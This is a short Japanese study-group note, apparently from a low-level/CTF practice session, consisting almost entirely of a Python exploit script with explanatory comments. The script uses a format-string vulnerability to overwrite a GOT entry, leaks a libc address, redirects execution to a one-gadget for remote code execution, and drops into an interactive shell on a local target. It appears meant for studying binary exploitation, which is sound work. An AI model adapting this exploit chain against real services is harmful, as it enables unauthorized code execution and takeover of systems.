# 低レイヤ勉強会 1/25
```a.py
import socket, struct, time, codecs, telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 10004))
def interact(s):
print('.----- interactive mode -----.')
t = telnetlib.Telnet()
t.sock = s
t.interact()
# valueを0x404018(GOTのputs)に書き込む書式文字列を作成する関数
def make(value):
# 書式文字列
s = '%43$016lx' # 先頭は'%43$016lx'に固定
# 出力の長さ
n = 16 #(64bit環境のアドレスの長さ)
for i in range(8):
# 追加で出力する文字数
t = (value&0xff)-n%256 # &は論理積
if t<=1:
t += 256
s += '%{}c%{}$hhn'.format(t, 24+i) # hhmはchar型と認識させる
# %(t)c%(24+i)$hnn の意
value >>= 8 # (value) = value >> 8(8bit右シフト、256倍の意)
n += t
s += '\0'*(128-len(s)) # EOF
s = bytes(s, 'ascii') # s を ascii 文字としてエンコード
for i in range(8):
s += struct.pack('<Q', 0x404018+i) # (404018 ~ 40401F)
# rot13
s = s.decode('latin-1') # latin-1 は文字コードの種類。laten-1のものをここで解読
s = codecs.decode(s, 'rot13') # rot13を解読
s = s.encode('latin-1') # latin-1に変換
return s
main = 0x4011e1
s.sendall(make(main)+b'\n')
time.sleep(1)
d = s.recv(9999)
start_main = int(d[:16], 16) # [:16]は有効桁数、隣の16は16進数形式の意
print('__libc_start_main:', hex(start_main))
#libc中のlibc_start_main関数のアドレスを求める。
rce = (start_main
- 0x270b3 # __libc_start_mainのsoファイル内のアドレス
+ 0xe6af1) # One-gadget RCE
s.sendall(make(rce)+b'\n')
# Telnetが非ASCII文字を読み込むと落ちるので、ここで読み飛ばす
time.sleep(1)
s.recv(9999)
interact(s)
```